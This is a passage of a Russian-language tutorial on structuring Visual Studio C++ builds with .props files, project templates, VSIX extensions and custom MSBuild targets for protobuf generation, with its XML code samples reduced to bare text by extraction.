\_DEBUG;\_CONSOLE;%(PreprocessorDefinitions) true pch.h Console true Use Level3 MaxSpeed true true true WIN32;NDEBUG;\_CONSOLE;%(PreprocessorDefinitions) true pch.h Console true true true Use Level3 MaxSpeed true true true NDEBUG;\_CONSOLE;%(PreprocessorDefinitions) true pch.h Console true true true Create Create Create Create ``` Довольно нечитаемое месиво, не правда ли? И это ведь еще очень небольшой и практически тривиальный файл. Попробуем превратить его во что-то более читабельное и удобное для восприятия. #### Поговорим о .props файлах Для этого обратим пока внимание на то что взятый нами файл — это обычный XML-документ и его можно логически разделить на две части, в первой из которых перечисляются настройки проекта, а во второй — входящие в него файлы. Давайте эти половинки разделим физически. Для этого нам понадобится уже встречающийся в коде тэг Import который является аналогом сишного #include и позволяет включить один файл в другой. Скопируем наш .vcxproj в какой-нибудь другой файл и уберем из него все объявления относящиеся к файлам входящим в проект, а из .vcxproj-а в свою очередь наоборот уберем все **кроме** объявлений относящихся к файлам собственно входящим в проект. Получившийся у нас файл с настройками проекта но без файлов в Visual Studio принято называть Property Sheets и сохранять с расширением .props. В свою очередь в .vcxproj мы поставим соответствующий Import **Теперь .vcxproj описывает только файлы входящие в проект и читается намного легче** ``` xml version="1.0" encoding="utf-8"? {0D35456E-42DA-418B-87D4-55E32B8E1373} Create Create Create Create ``` Его можно упростить еще больше, убрав лишние XML-элементы. К примеру свойство «PrecompiledHeader» объявляется сейчас 4 раза для разных вариантов конфигурации (release / debug) и платформы (win32 / x64) но каждый раз это объявление одно и то же. Кроме того у нас здесь используется несколько разных ItemGroup тогда как в реальности вполне достаточно одного элемента. В результате приходим к компактному и понятному .vcxproj который просто перечисляет 1) входящие в проект файлы, 2) то чем является каждый из них (плюс настройки специфичные для конкретных отдельных файлов) и 3) содержит в себе ссылку на хранящиеся отдельно настройки проекта. ``` xml version="1.0" encoding="utf-8"? {0D35456E-42DA-418B-87D4-55E32B8E1373} Create ``` Перезагружаем проект в студии, проверяем сборку — все работает. #### Но зачем вообще разделять .vcxproj и .props? Поскольку в сборке ничего не поменялось, то на первый взгляд может показаться что мы поменяли шило на мыло, сделав бессмысленный «рефакторинг» файла в который нам до этого собственно и не было никакой нужды заглядывать. Однако допустим на минутку что в наш solution входит более одного проекта. Тогда, как несложно заметить, несколько разных .vcxproj-файлов от разных проектов могут использовать **один и тот же** .props файл с настройками. Мы отделили **правила сборки** используемые в solution от исходного кода и можем теперь менять настройки сборки для **всех** однотипных проектов в одном месте. В подавляющем большинстве случаев подобная унификация сборки — это хорошая идея. К примеру добавляя в solution новый проект мы в одно действие тривиально перенесем в него подобным образом все настройки из уже существующих в solution проектов. Но что если нам все же нужны разные настройки для разных проектов? В этом случае мы можем просто создать несколько разных .props-файлов для разных типов проектов. Поскольку .props-файлы могут совершенно аналогичным образом Import-ить другие .props-файлы, то довольно легко и естественно можно выстроить «иерархию» из нескольких .props-файлов, от файлов описывающих общие настройки для всех проектов в solution до узкоспециализированных версий задающих специальные правила для всего одного-двух проектов в solution. В MSBuild действует правило что если одна и та же настройка объявляется во входном файле дважды (скажем вначале импортится в base.props а затем объявляется повторно в derived.props который import-ит в своем начале base.props) то более позднее объявление перекрывает более раннее. Это позволяет легко и удобно задавать произвольные иерархии настроек просто перекрывая в каждом .props файле все необходимые для данного .props-а настройки не заботясь о том что они могли быть где-то уже объявлены ранее. В числе прочего где-нибудь в .props-ах разумно импортировать стандартные настройки окружения Студии которые для C++-проекта будут выгледеть вот так: ``` ``` Отмечу что на практике весьма удобно класть собственные .props файлы в ту же папку что и .sln файл **Поскольку это позволяет удобно импортировать .props независимо от местоположения .vcxproj** ``` xml version="1.0" encoding="utf-8"? ... ``` #### Делаем настройку проекта читабельнее Теперь когда нам больше не требуется возиться с каждым проектом по отдельности мы можем уделить больше внимания настройке процесса сборки. И для начала я рекомендую дать с помощью .props-файлов вменяемые имена большинству интересных объектов в файловой системе относящихся к solution. Для этого нам следует создать тэг PropertyGroup с пометкой UserMacros: ``` $(SolutionDir)\.. $(RepositoryRoot)\projects $(RepositoryRoot)\..\ThirdParty $(ThirdPartyDir)\protobuf\src ``` Тогда в настройках проектов вместо конструкций вида "..\..\..\ThirdParty\protobuf\src\protoc.exe" мы сможем написать просто "$(ProtoBufRoot)\protoc.exe". Помимо большей читабельности это делает код намного мобильнее — мы можем свободно перемещать .vcxproj не боясь что у него слетят настройки и можем перемещать (или обновлять) Protobuf изменив всего одну строчку в одном из .props файлов. При последовательном объявлении нескольких PropertyGroups их содержимое будет объединено — перезапишутся только макросы имена которых совпадают с ранее объявлявшимися. Это позволяет легко дополнять объявления во вложенных .props файлах не боясь потерять макросы уже объявленные ранее. #### Делаем удобным подключение сторонних библиотек Обычный процесс включения зависимости от thirdparty-библиотеки в Visual Studio частенько выглядит примерно вот так: ![](https://habrastorage.org/r/w1560/webt/tr/pe/2t/trpe2tayormaecnx1e5gslbufyo.png) Процесс соответствующей настройки включает в себя редактирование сразу нескольких параметров находящихся на разных вкладках настроек проекта и потому довольно зануден. Вдобавок его обычно приходится проделывать по нескольку раз для каждой отдельно взятой конфигурации в проекте, так что нередко в результате подобных манипуляций оказывается что проект в Release-сборке собирается, а в Debug-сборке — нет. Так что это неудобный и ненадежный подход. Но как Вы наверное уже догадываетесь, те же самые настройки можно «упаковать» в props-файл. К примеру для библиотеки ZeroMQ подобный файл может выглядеть примерно так: ``` xml version="1.0" encoding="utf-8"? $(ThirdPartyDir)\libzmq\include;%(AdditionalIncludeDirectories) ZMQ\_STATIC;%(PreprocessorDefinitions) libzmq-v120-mt-sgd-4\_3\_1.lib;Ws2\_32.Lib;%(AdditionalDependencies) libzmq-v120-mt-s-4\_3\_1.lib;Ws2\_32.Lib;%(AdditionalDependencies) $(ThirdPartyDir)\libzmq\lib\x64\$(Configuration);%(AdditionalLibraryDirectories) ``` Обратите внимание что если мы просто определим тэг типа AdditionalLibraryDirectories в props-файле, то он перекроет все более ранние определения. Поэтому здесь используется чуть более сложная конструкция в которой тэг завершается последовательностью символов ;%(AdditionalLibraryDirectories) образующих ссылку тэга самого на себя. В семантике MSBuild этот макрос раскрывается в предыдущее значение тэга, так что подобная конструкция *дописывает* параметры в начало строки хранящейся в парамере AdditionalLibraryDirectories. Для подключения ZeroMQ теперь достаточно просто импортировать данный .props файл. ``` xml version="1.0" encoding="utf-8"? ... ``` И на этом манипуляции с проектом заканчиваются — MSBuild автоматически подключит необходимые заголовочные файлы и библиотеки и в Release и в Debug сборках. Таким образом потратив немного времени на написание zeromq.props мы получаем возможность надежно и безошибочно подключать ZeroMQ к любому проекту всего в одну строчку. Создатели Студии даже предусмотрели для этого специальный GUI который называется Property Manager, так что любители мышки могут проделать ту же операцию в несколько кликов. ![](https://habrastorage.org/r/w1560/webt/iq/9u/lk/iq9ulkjib5xs3y4dsez_kwylr2w.png) Правда как и остальные инструменты Студии этот GUI вместо читабельного однострочника добавит в код .vcxproj что-то вроде **вот такого кода** ``` ``` Так что я предпочитаю добавлять ссылки на сторонние библиотеки в .vcxproj файлы вручную. Аналогично тому что уже обсуждалось ранее, работа с ThirdParty-компонентами через .props файлы позволяет так же легко в дальнейшем обновлять используемые библиотеки. Достаточно отредактировать единственный файл zeromq.props — и сборка всего solution синхронно переключится на новую версию. К примеру в наших проектах сборка проекта через этот механизм увязана с менеджером зависимостей Conan который собирает необходимый набор thirdparty-библиотек по манифесту зависимостей и автоматически генерирует соответствующие .props-файлы. #### Project Templates — автоматизируем создание проектов Править вручную .vcxproj-файлы созданные Студией конечно довольно скучно (хотя при наличии навыка и недолго). Поэтому в Студии предусмотрена удобная возможность по созданию собственных шаблонов для новых проектов, которые позволяют провести ручную работу по настройке .vcxproj лишь один раз, после чего повторно использовать ее одним кликом в любом новом проекте. В простейшем случае для этого даже не надо ничего править вручную — достаточно открыть проект который нужно превратить в шаблон и выбрать в меню Project \ Export Template. В открывшемся диалоговом окне можно задать несколько тривиальных параметров вроде имени для шаблона или строки которая будет показываться в его описании, а так же выбрать, будет ли вновь созданный шаблон сразу добавлен в диалоговое окно «New Project». Созданный таким способом шаблон создает копию использованного для его создания проекта (включая все файлы входящие в проект), заменяя в нем только имя проекта и его GUID. В довольно большом проценте случаев этого более чем достаточно. При более детальном рассмотрении сгенерированного Студией шаблона можно легко убедиться в том что это просто zip архив в котором лежат все файлы использованные в шаблоне и один дополнительный конфигурационный файл с расширением .vstemplate. В этом файле хранится список метаданных проекта (вроде использованной иконки или строки с описанием) и список файлов которые необходимо создать при создании нового проекта. Например, ``` C++ console application C++ console application for our project VC 1000 true ` OurCppConsoleApp true Enabled true ng.ico console\_app.vcxproj.filters main.cpp stdafx.cpp stdafx.h ``` Обратите внимание на параметр ReplaceParameters=«true». В данном случае он применяется только к vcxproj-файлу который выглядит следующим образом: ``` xml version="1.0" encoding="utf-8"? {$guid1$} $safeprojectname$ Create ``` На месте GUID и RootNamespace как видите стоят не конкретные значения, а «заглушки» $guid1$ и $safeprojectname$. При использовании шаблона, Студия проходит по файлам помеченным ReplaceParamters=«true», ищет в них заглушки вида $name$ и заменяет их на вычисляемые значения по специальному словарю. По умолчанию Студия [поддерживает не очень много параметров](https://docs.microsoft.com/ru-ru/visualstudio/ide/template-parameters?view=vs-2019), но при написании Visual Studio Extensions (о чем мы поговорим чуть позже) туда нетрудно добавить сколько угодно своих собственные параметров вычисляемых (или вводимых пользователем) при запуске диалога по созданию нового проекта из шаблона. Как можно увидеть в файле .vstemplate, тот же словарь может использоваться и для формирования имени файла что позволяет, в частности, сформировать шаблону уникальные имена .vcxproj-файлов для разных проектов. При задании ReplaceParameters=false файл указанный в шаблоне будет просто скопирован без дополнительной обработки. Полученный ZIP-архив с шаблоном можно добавить в список шаблонов известных Студии одним из нескольких способов. Проще всего просто скопировать этот файл в папку **%USERPROFILE%\Documents\Visual Studio XX\Templates\ProjectTemplates**. Стоит заметить, что несмотря на то что в этой папке Вы найдете множество разных подпапок совпадающих по названиям с папками в окне создания нового проекта, по факту шаблон следует положить просто в корневую папку поскольку положение шаблона в дереве новых проектов определяется Студией из тэгов ProjectType и ProjectSubType в .vstemplate-файле. Этот способ удобнее всего подходит для создания «персональных» шаблонов уникальных только для Вас и если Вы выберете в диалоге Export Template галочку «Automatically import template into Visual Studio» то Студия именно это и сделает, поместив созданный при экспорте zip-архив в эту папку с шаблонами. Однако делиться такими шаблонами с коллегами путем их ручного копирования конечно не очень удобно. Поэтому давайте познакомимся с чуть более продвинутым вариантом — создадим Visual Studio Extension (.vsix) Для создания VSIX нам понадобится установить опциональный компонент Студии который так и называется — средства для разработки Visual Studio Extensions: ![](https://habrastorage.org/r/w1560/webt/sn/ql/um/snqlumiv8ugnupw0fqo15ptydhw.png) После этого в разделе Visual C# \ Extensibility появится вариант «VSIX project». Обратите внимание, что несмотря на свое расположение (C#), он используется для создания любых расширений, в том числе и наборов шаблонов проектов на C++. ![](https://habrastorage.org/r/w1560/webt/1o/qq/gl/1oqqgl_9ds8e7u1qo5_1arwpqhq.png) В созданном VSIX проекте можно делать массу самых разных вещей — к примеру, создать свое собственное диалоговое окно которое будет использоваться для настройки создаваемых по шаблону проектов. Но это отдельная огромная тема для обсуждения которую я не буду в этой статье затрагивать. Для создания же шаблонов в VSIX все устроено предельно просто: создаем пустой VSIX проект, открываем файл .vsixmanifest и прямо в GUI задаем все данные для проекта. Вписываем метаданные (название расширения, описание, лицензия) на вкладке Metadata. Обратите внимание на расположенное в правом верхнем углу поле «Version» — его желательно указать правильно, поскольку Студия впоследствии использует именно его для определения того какая версия расширения установлена на компьютере. Затем идем на вкладку Assets и выбираем «Add new Asset», с Type: Microsoft.VisualStudio.ProjectTemplate, Source: File on filesystem, Path: (имя к zip-архиву с шаблоном). Нажимаем OK, повторяем процесс пока не добавим в VSIX все желаемые шаблоны. ![](https://habrastorage.org/r/w1560/webt/sz/7m/3r/sz7m3ro0bll9zw1zn88_kis3afo.png) После этого остается выбрать Configuration: Release и скомандовать Build Solution. Код писать не требуется, править конфигурационные файлы вручную — тоже. На выходе получается переносимый файл с расширением .vsix, который является, по сути, инсталлятором для созданного нами расширения. Созданный файл будет «запускаться» на любом компьютере с установленной Студией, показывать диалог с описанием расширения и лицензией и предлагать установить его содержимое. Разрешив установку — получаем добавление наших шаблонов в диалоговое окно «Создать новый проект» ![](https://habrastorage.org/r/w1560/webt/eh/z6/ht/ehz6htgeb-yvsmgbsao9hb0p7ag.png) Подобный подход позволяет легко унифицировать работу большого количества человек над проектом. Для установки и использования шаблонов от пользователя не требуется никакой квалификации кроме пары кликов мышкой. Установленное расширение можно посмотреть (и удалить) в диалоге Tools \ Extensions and Updates ![](https://habrastorage.org/r/w1560/webt/6v/1c/ue/6v1cuek5yuf6lbbnweb4ndpsqvc.png) ### Level 2: настраиваем кастомную компиляцию ОК, на этом этапе мы разобрались как организованы vcxproj и props файлы и научились их организовывать. Давайте теперь предположим что мы хотим добавить в наш проект парочку .proto схем для сериализации объектов на основе замечательной библиотеки Google Protocol Buffers. Напомню основную идею этой библиотеки: Вы пишите описание объекта («схему») на специальном платформонезависимом мета-языке (.proto-файл) которая компилируется специальным компилятором (protoc.exe) в набор .cpp / .cs / .py / .java / etc. файлов которые реализуют сериализацию / десериализацию объектов по этой схеме в нужном языке программирования и которые Вы можете использовать в своём проекте. Таким образом при компиляции проекта нам нужно первым делом позвать protoc который создаст для нас набор .cpp файлов которые мы в дальнейшем будем использовать. #### Традиционный подход Классическая реализация «в лоб» прямолинейна и состоит в том чтобы просто добавить вызов protoc в pre-build step для проекта которому нужны .proto-файлы. Примерно вот так: ![](https://habrastorage.org/r/w1560/webt/uo/wg/98/uowg985t9ighok2hqe3kk3simfu.png) Но это не очень удобно: * Требуется явно указывать список обрабатываемых файлов в команде * При изменении этих файлов билд НЕ будет пересобран автоматически * При изменении ДРУГИХ файлов в проекте которые Студия распознает как исходные коды, напротив, без нужды будет выполнен pre-build step * Сгенерированные файлы не входят по умолчанию в сборку проекта * Если мы включим сгенерированные файлы в проект вручную, то проект будет выдавать ошибку когда мы его будем открывать в первый раз (поскольку файлы еще не сгенерированы первой сборкой). Вместо этого мы попробуем «объяснить» самой Visual Studio (а точнее используемой ею системе сборки MSBuild) то как следует обрабатывать подобные .proto-файлы. #### Знакомимся с MSBuild targets С точки зрения MSBuild, сборка любого проекта состоит из последовательности сборки сущностей которые называются build targets, сокращенно targets. К примеру сборка проекта может включать в себя выполнение таргета Clean который удалит оставшиеся от предыдущих билдов временные файлы, затем выполнение таргета Compile который скомпилирует проект, затем таргета Link и наконец таргета Deploy. Все эти таргеты вместе с правилами по их сборке не фиксированы заранее а определяются в самом .vcxproj файле. Если Вы знакомы с nix-овой утилитой make и Вам на ум в этот момент приходит слово «makefile», то Вы совершенно правы: .vcxproj является XML-вариацией на тему makefile. Но стоп-стоп-стоп скажет тут сбитый с толку читатель. Как это так? Мы просмотрели до этого .vcxproj в простом проекте и там не было ни target-ов ни какого-либо сходства с классическим makefile. О каких target-ах тогда может идти речь? Оказывается что они просто «спрятаны» вот в этой строчке включающей в .vcxproj набор стандартных target-ов для сборки C++ — кода. «Стандартный» билд-план предлагаемый Студией довольно обширен и предлагает большой набор правил для компиляции C++-кода и «стандартных» таргетов типа Build, Clean и Rebuild к которым умеет «цепляться» Студия. Этот набор часто известен под собирательным названием toolset и заменяя в импорте toolset можно заставить Студию компилировать один и тот же проект с помощью другой версии Студии или, к примеру, интеловским компилятором или Clang. Кроме того [при желании от стандартного toolset-а можно вообще отказаться](https://habr.com/ru/post/134888/) и написать свой собственный toolset с нуля. Но мы будем рассматривать в этой статье более простой вариант в котором мы ничего не будем заменять, а лишь **дополним** стандартные правила необходимыми нам дополнениями. Но вернемся обратно к target-ам. Любой target в MSBuild определяется через * Список входов (inputs) * Список выходов (outputs) * Зависимости от других targets (dependencies) * Настройки target-а * Последовательность фактических шагов выполняемых target-ом (tasks) Например таргет ClCompile получает на вход список .cpp файлов в проекте и генерирует из них путем таски вызывающей компилятор cl.exe набор .obj файлов. Настройки таргета ClCompile при этом превращаются в флаги компиляции передаваемые cl.exe. Когда мы пишем в .vcxproj файле строчку то мы добавляем (Include) файл protobuf\_tests.cpp в список входов (inputs) данного таргета, а когда пишем ``` Use ``` то присваем значение «Use» настройке ClCompile.PrecompiledHeader которую target затем превратит в флаг /Yu переданный компилятору cl.exe. #### Попробуем создать target для сборки .proto файлов Добавление нового target-а реализуется с помощью тэга target: ``` ...steps to take... ``` Традиционно target-ы выносят в подключаемый файл с расширением .targets. Не то чтобы это было строго необходимо (и vcxproj и targets и props файлы внутри являются равнозначным XML-ем), но это стандартная схема именования и мы будем ее придерживаться. Чтобы в коде .vcxproj файла теперь можно было писать что-то вроде ``` ``` созданный нами target необходимо добавить в список AvailableItemName ``` GenerateProtobuf ``` Нам также понадобится описать что же конкретно мы хотим сделать с нашими входными файлами и что должно получиться на выходе. Для этого в MSBuild используется сущность которая называется «task». Таска — это какое-то простое действие которое нужно сделать в ходе сборки проекта. К примеру «создать директорию», «скомпилировать файл», «запустить команду», «скопировать что-то». В нашем случае мы воспользуемся таской Exec чтобы запустить protoc.exe и таской Message чтобы отобразить этот шаг в логе компиляции. Укажем так же что запуск данного target-а следует провести сразу после стандартного таргета PrepareForBuild. В результате у нас получится примерно вот такой файлик protobuf.targets ``` GenerateProtobuf ``` Мы использовали здесь довольно нетривиальный оператор "%" ([batching operator](https://docs.microsoft.com/en-us/visualstudio/msbuild/item-metadata-in-task-batching?view=vs-2015)) который означает «для каждого элемента из списка» и [автоматически добавляемые метаданные](https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-well-known-item-metadata?view=vs-2019). Идея тут в следующем: когда мы записываем код вида ``` Test ``` то мы этой записью добавляем в список с названием «ProtobufSchema» дочерний элемент «test.proto» у которого есть дочерний элемент (метадата) AdditionalData содержащая строку «Test». Если мы напишем «ProtobufSchema.AdditionalData» то мы получим доступ к записи «Test». При этом помимо явно объявленных нами метаданных AdditionalData, хитрый MSBuild ради нашего удобства автоматически добавляет к записи еще добрый десяток полезных часто используемых дочерних элементов [описанных вот здесь](https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild-well-known-item-metadata?view=vs-2019) из числа которых мы использовали Identity (исходная строка), Filename (имя файла без расширения) и FullPath (полный путь к файлу). Запись же со знаком % заставляет MSBuild применить описанную нами операцию к каждому элементу из списка — т.е. к каждому .proto файлу по отдельности. Добавляем теперь ``` ``` в protobuf.props, переписываем наши proto-файлы в .vcxproj-е на тэг ProtobufSchema ``` ... ``` и проверяем сборку `1>------ Rebuild All started: Project: protobuf_test, Configuration: Debug x64 ------ 1>Compiling schema test.proto 1>Compiling schema test2.proto 1>pch.cpp 1>protobuf_test.cpp 1>protobuf_test.vcxproj -> S:\Temp\msbuild\protobuf_msbuild_integration\x64\Debug\protobuf_test.exe ========== Rebuild All: 1 succeeded, 0 failed, 0 skipped ==========` Ура! Заработало! Правда наши .proto файлы теперь стали не видны в проекте. Лезем в .vcxproj.filters и вписываем там по аналогии ``` ... Resource Files Resource Files ... ``` Перезагружаем проект — файлы снова видны. #### Доводим наш модельный пример до ума Впрочем на самом деле я немного схитрил. Если не создать вручную перед началом билда папку generated, то билд на самом деле падает `1>...\protobuf_test\protobuf.targets(13,6): error MSB3073: The command "...\ThirdParty\protobuf\bin\protoc.exe --cpp_out=.\generated test.proto" exited with code 1.` Чтобы это исправить добавим вспомогательный target который создаст необходимую папку ``` ... ``` С помощью свойства DependsOnTargets мы указываем что перед тем как запускать любую из задач GenerateProtobuf следует запустить PrepareToGenerateProtobuf, а запись @(ProtobufSchema) ссылается на список ProtobufSchema целиком, как единую сущность используемую как вход для этой задачи, так что запущена она будет лишь один раз. Перезапускам сборку — работает! Давайте попробуем сделать теперь еще раз Rebuild, чтобы уж на этот раз точно во всем убедиться `1>------ Rebuild All started: Project: protobuf_test, Configuration: Debug x64 ------ 1>pch.cpp 1>protobuf_test.cpp 1>protobuf_test.vcxproj -> S:\Temp\msbuild\protobuf_msbuild_integration\x64\Debug\protobuf_test.exe ========== Rebuild All: 1 succeeded, 0 failed, 0 skipped ==========` Эм, а куда же пропали наши новые таски? Небольшая отладка — и мы видим что таски на самом деле запускаются MSBuild, но не выполняются поскольку в указанной нами выходной папке уже есть сгенерированные файлы. Проще говоря в Rebuild у нас не работает Clean для .\generated файлов. Исправим это, добавив еще один таргет ``` ``` Проверяем — работает. Clean очищает созданные нами файлы, Rebuild пересоздает их заново, повторный вызов Build не запускает без нужды пересборку еще раз. `========== Build: 0 succeeded, 0 failed, 1 up-to-date, 0 skipped ==========` Вносим правку в один из C++ файлов, пробуем сделать Build еще раз `1>------ Build started: Project: protobuf_test, Configuration: Debug x64 ------ 1>protobuf_test.cpp 1>protobuf_test.vcxproj -> S:\Temp\msbuild\protobuf_msbuild_integration\x64\Debug\protobuf_test.exe ========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========` .proto-файл не менялся, поэтому protoc не перезапускался, все ожидаемо. Пробуем теперь изменить .proto файл. `========== Build: 0 succeeded, 0 failed, 1 up-to-date, 0 skipped ==========` Интересно что если запустить сборку MSBuild через командную строку вручную, а не через UI из Студии то такой проблемы не будет — MSBuild корректно пересоберет необходимые .pp.cc файлы. Если мы поменяем какой-нибудь .cpp то запустившийся в студии MSBuild пересоберет не только его, но и .props файл который мы меняли раньше `1>------ Build started: Project: protobuf_test, Configuration: Debug x64 ------ 1>Compiling schema test.proto 1>protobuf_test.cpp 1>protobuf_test.vcxproj -> S:\Temp\msbuild\protobuf_msbuild_integration\x64\Debug\protobuf_test.exe ========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========` В чем же дело? #### U2DCheck и tlog файлы Оказывается что создатели Visual Studio посчитали что вызывать MSBuild на каждый чих слишком накладно и… реализовали собственную «быструю проверку» на то нужно ли собирать проект или нет. Она называется U2DCheck и если по ее мнению проект не менялся, то Студия просто не станет запускать MSBuild для этого проекта. Обычно U2DCheck работает настолько «тихо» что про ее существование мало кто догадывается но [в реестре можно включить](https://blogs.msdn.microsoft.com/kirillosenkov/2014/08/04/how-to-investigate-rebuilding-in-visual-studio-when-nothing-has-changed/) полезный флажок который заставит U2DCheck выводить более подробные отчеты. В своей работе U2DCheck опирается на [специальные .tlog файлы](https://docs.microsoft.com/en-us/visualstudio/extensibility/visual-cpp-project-extensibility?view=vs-2017#tlog-files). Их легко можно найти в intermediate-output папке (имя\_проекта).tlog и чтобы U2DCheck корректно реагировал на изменения в исходных файлах нам надо сделать в этой папке запись в один из read tlog — файлов, а чтобы U2DCheck корректно реагировал на удаление выходных файлов — запись в одном из write tlog — файлов. Чертыхнувшись, возвращаемся к соответствующей правке нашего target-а ``` ... ``` Проверяем — работает: правка .props файла триггерит необходимый ребилд, сборка в отсутствие правки показывает что проект up-to-date. В данном примере для простоты я не стал писать write tlog отслеживающий удаление созданных при компиляции файлов, но он добавляется в target аналогичным образом. Начиная с Visual Studio 2017 update 15.8 в MSBuild была добавлена [новая стандартная таска GetOutOfDateItems](https://docs.microsoft.com/en-us/visualstudio/msbuild/getoutofdateitems-task?view=vs-2019) которая автоматизирует эту черную магию, но поскольку это произошло совсем недавно то практически все кастомные .target-ы продолжают работать с .tlog файлами вручную. При желании можно так же полностью отключить U2DCheck для любого проекта добавив одну строчку в поле ProjectCapability ``` ``` Однако в этом случае Студия будет гонять MSBuild для этого проекта и всех зависящих от него при каждой сборке и да, U2DCheck добавляли не просто так — это работает не так быстро как мне хотелось бы. #### Финализуем наш кастомный .target Получившийся у нас результат вполне работоспособен, но его есть еще куда совершенствовать. К примеру в MSBuild существует режим «выборочной сборки» когда в командной строке указывается что требуется собрать не весь проект в целом, а лишь отдельные конкретно выбранные в нем файлы. Поддержка этого режима требует чтобы таргет проверял содержимое списка @(SelectedFiles). Помимо этого в нашем исходном коде встречается довольно много повторяющих друг друга строк которые должны совпадать. Правила хорошего тона рекомендуют дать всем этим сущностям читабельные имена и адресовать по этим именам. Для этого часто создается отдельный специальный таргет который создает и заполняет вспомогательный список всеми именами которые понадобятся в дальнейшем. Наконец мы все еще не реализовали обещанную в самом начале задумку — автоматическое включение сгенерированных файлов в проект. Мы уже можем #include-ить сгенерированные protobuf-ом заголовочные файлы зная что они будут автоматически созданы до того как дело дойдет до компиляции, но с линковщиком этот номер не проходит :). Поэтому просто дописываем сгенерированные файлы в список ClCompile. **Пример подобной причесанной реализации protobuf.targets** ``` xml version="1.0" encoding="utf-8"? GenerateProtobuf .\generated $(ProtobufOutputFolder)\%(ProtobufSchema.Filename).pb.cc $(ProtobufOutputFolder)\%(ProtobufSchema.Filename)\_pb2.py %(ProtobufCompilerData.OutputCppFile);%(ProtobufCompilerData.OutputPythonFile) NotUsing ``` Общие настройки здесь были вынесены в PropertyGroup, а списки входных и выходных файлов заполняет новый target ComputeProtobufInput. Попутно (чтобы продемонстрировать работу со списками выходных файлов) была добавлена генерация кода из схемы для интеграции с python. Запускаем и проверяем что все работает правильно ``` 1>------ Rebuild All started: Project: protobuf_test, Configuration: Debug x64 ------ 1>Compiling schema test.proto 1>Compiling schema test2.proto 1>pch.cpp 1>protobuf_test.cpp 1>test.pb.cc 1>test2.pb.cc 1>Generating Code... 1>protobuf_test.vcxproj -> S:\Temp\msbuild\protobuf_msbuild_integration\x64\Debug\protobuf_test.exe 1>Done building project "protobuf_test.vcxproj". ========== Rebuild All: 1 succeeded, 0 failed, 0 skipped ========== ``` #### А что насчет CustomBuildStep? Надо сказать что разработчики из Майкрософт вполне здраво оценивали что все вышеописанное, хм, несколько нетривиально и плохо задокументировано и попытались облегчить жизнь программистов введя специальный таргет CustomBuildStep. В рамках этой концепции мы должны были бы в настройках файла отметить что наши .props файлы относятся к типу Custom Build Step ![](https://habrastorage.org/r/w1560/webt/g0/oi/ch/g0oichj6zllcmv8kghmpwq3gkma.png) Затем следовало бы указать необходимые шаги по сборке во вкладке Custom Build Step ![](https://habrastorage.org/r/w1560/webt/2n/hl/ao/2nhlaoy0p0c1jfedpkhrzxol7f0.png) В .vcxproj-е это выглядит примерно вот так ``` $(Protoc) --cpp\_out=.\generated\%(FileName).pb.cc %(FullPath) Generate protobuf files .\generated\%(FileName).pb.cc ... ... ``` Эта конструкция работает за счет того что введенные таким образом данные подставляются в недрах Microsoft.CppCommon.targets в специальный таргет CustomBuildStep который делает, в общем-то, все то же самое что я описал выше. Но работает все через GUI и не надо задумываться о реализации clean и tlog-ах :). При желании этот механизм вполне можно использовать, но я бы не рекомендовал этого делать в силу следующих соображений: * CustomBuildStep может быть только один на весь проект + Соответственно так обработать можно лишь 1 тип файлов на весь проект + Включать такой step в .props файл используемый для подключения ThirdParty библиотеки нецелесообразно, т.к. разные библиотеки могут его перекрывать друг у друга * Если в CustomBuildStep что-то ломается, то разобраться в том что случилось будет еще сложнее чем написать таргет с нуля #### Правильное копирование файлов Очень часто встречающейся разновидностью build target является копирование каких-нибудь файлов из одного места в другое. Например копирование файлов ресурсов в папку с собранным проектом или копирование thirdparty DLL к собранному бинарнику. И очень часто эту операцию реализуют «в лоб» через запуск консольной утилиты xcopy в Post-Build Targets. К примеру, ![](https://habrastorage.org/r/w1560/webt/2d/as/_v/2das_vkmplzie9lyrr6_aycs194.png) Так делать **не надо** по тем же самым причинам по которым не надо пытаться запихивать в Post-build steps другие build targets. Вместо этого мы можем напрямую указать Студии что ей необходимо скопировать тот или иной файл. К примеру если файл напрямую входит в проект, то ему достаточно указать ItemType=Copy ![](https://habrastorage.org/r/w1560/webt/_5/k2/bz/_5k2bzmh2nhsyqtwytxlk-t8kyi.png) После нажатия кнопки apply появится дополнительная вкладка на которой можно настроить куда и как следует копировать выбранный файл. В коде .vcxproj-файла это будет выглядеть примерно так: ``` ... $(OutDir) ``` Всё заработает «из коробки», включая правильную поддержку tlog-файлов. Внутри это реализовано по все тому же принципу «специальной стандартной таски для копирования файлов» что и Custom Build Step которую я критиковал буквально в предыдущем разделе, но поскольку копирование файлов — довольно тривиальная операция и мы не переопределяем саму операцию (копирование) а лишь меняем список входных и выходных файлов для нее то работает это неплохо. Замечу что при формировании списков файлов CopyFilesToFolder можно использовать wildcards. К примеру ``` $(OutDir) ``` Добавление файлов в список CopyFileToFolders — пожалуй самый простой способ реализовать копирование при сборке проекта, в том числе в .props-файлах подключающих thirdparty-библиотеки. Однако если хочется получить больше контроля над происходящим, то еще одним вариантом является добавление в свои build target специализированной [таски Copy](https://docs.microsoft.com/en-us/visualstudio/msbuild/copy-task?view=vs-2019). К примеру ``` ``` **Небольшое лирическое отступление**Вообще набор разнообразных стандартных task-ов у MS весьма обширен и включает в себя такие таски как DownloadFile, VerifyFileHash, Unzip и многие другие полезные примитивы. А стандартная таска Copy умеет делать Retry, пропускать не менявшиеся файлы и создавать hard-link вместо тупого копирования если это поддерживается файловой системой. R сожалению таска Copy не поддерживает wildcards и не заполняет .tlog файлы. При желании это можно реализовать вручную, **к примеру так** ``` $(TargetFolder)\%(MyFilesToCopy.Filename)%(MyFilesToCopy.Extension) ``` Однако работа с стандартным CopyFileToFolders обычно будет намного проще. ### Level 3: интегрируемся с GUI от Visual Studio Все то чем мы до сих пор занимались со стороны может показаться довольно унылой попыткой реализовать в не слишком подходящем для этого инструменте функциональность нормального make. Ручная правка XML-файлов, неочевидные конструкции для решения простых задач, костыльные tlog-файлы… Однако у билд-системы Студии есть и плюсы — к примеру после первоначальной настройки она обеспечивает получившимуся билд-плану неплохой графический интерфейс. Для его реализации используется тэг PropertyPageSchema о котором мы сейчас и поговорим. #### Вытаскиваем настройки из недр .vcxproj в Configuration Properties Давайте попробуем сделать так чтобы мы могли бы редактировать свойство $(ProtobufOutputFolder) из «причесанной реализации protobuf.targets» не вручную в файле, а с комфортом прямо 